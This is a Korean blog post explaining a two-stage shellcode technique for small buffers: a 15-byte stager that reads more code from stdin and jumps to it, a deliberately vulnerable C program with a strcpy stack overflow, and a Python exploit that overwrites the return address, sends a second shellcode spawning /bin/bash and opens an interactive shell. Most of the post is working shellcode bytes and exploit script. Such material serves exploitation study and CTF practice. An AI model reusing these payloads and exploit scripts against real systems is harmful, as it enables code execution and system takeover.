>

.global main

main:

cdq

mul %edx

push %edx

pop %ebx

movb $0xff,%dl

addb $0x3,%al

push %esp

pop %ecx

int $0x80

jmp *%ecx

위는 32비트전용 아래는 64비트 전용

.global main

main:

cdq

mul %rdx

push %rdx

pop %rdi

movb $0xff,%dl

push %rsp

pop %rsi

syscall

jmp *%rsi

cdq; mul %edx 이 구문을 이용하면 32비트일때 \x99\xf7\xe2 3바이트로 eax와 edx 둘을 0으로 초기화 시킬 수 있다. 64비트일때는 한바이트가 더 들어간다.

가끔 cdq가 안먹힐 때가 있는데, cdq를 빼고 xor %edx,%edx 넣어 16바이트 로 쓸 수도 있다.

이 쉘코드가 실행되면 read(0,buf,0xff)가 수행되고 buf로 jmp 하게된다. 

(디스크립터 부분을 변경하고 싶다면 %ebx를 변경시켜야한다.)

총 바이트 수가 15바이트(64비트는 14바이트)이므로 쉘코드를 쓸 수 있지만 버퍼 공간이 터무니 없이 작을 때, 사용이 가능하다.


#include<stdio.h>

char g[16];

int main()

{

char l[4];

read(0,g,24);

strcpy(l,g);

}

이런 소스의 바이너리가 있다고 치자.

이 바이너리는 우분투 14.04 32비트 기준으로 16 + 4(Return Address) 의 버퍼구조를 갖는다. 스택쿠키를 끄고 메모리에 실행권한을 준다.

16바이트는 쉘코드 공간으로 좀 부족하다. 이럴 때 쉘코드 수신 쉘코드를 쓴다.


#!/usr/bin/python


from socket import *

from struct import pack

import telnetlib


p = lambda x :pack("<L",x)


host = "localhost"

port = 7141


shellcode1 = "\x31\xd2\xf7\xe2\x52\x5b\xb2\xff\x04\x03\x54\x59\xcd\x80\xff\xe1"

shellcode2 = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"


g = 0x804a025


s = create_connection((host,port))

payload = ""

payload += shellcode1

payload += p(g)

raw_input()

s.send(payload + "\n")

s.send(shellcode2)

t = telnetlib.Telnet(host,port)

t.sock = s

t.interact()

테스트해보니 이상하게 cdq 구문이 먹히지 않았다. 그래서 cdq를 xor edx, edx로 바꾸고 넣어줬다. 

shellcode2는 쉘을 실행시키는 코드이다. 이런식으로 버퍼크기가 작을 때 사용할 수 있다.



* 2016_07_29 : cdq는 부호확장으로 eax가 음수면 edx가 0xffffffff가 된댄다.

그리고 gcc 컴파일할 때 -nostdlib 하면 main으로 엔트리 포인트 안바뀜

진모랑 오늘 이것저것 얘기하면서 쉘코드 줄여달라고 얘기했는데 짱많이 줄여줌 헤헤

xor ebx, ebx
mul ebx
mov al, 3
mov ecx, esp
dec edx
int 0x80
jmp ecx


'Research' 카테고리의 다른 글

arm exploitation using ROP  (0) 2015.02.26
arm exploitation using shellcode  (0) 2015.02.21
blind sql injection script template  (1) 2015.02.20
UAF에 대한 고찰  (1) 2014.03.09
Posted by Mungsul
,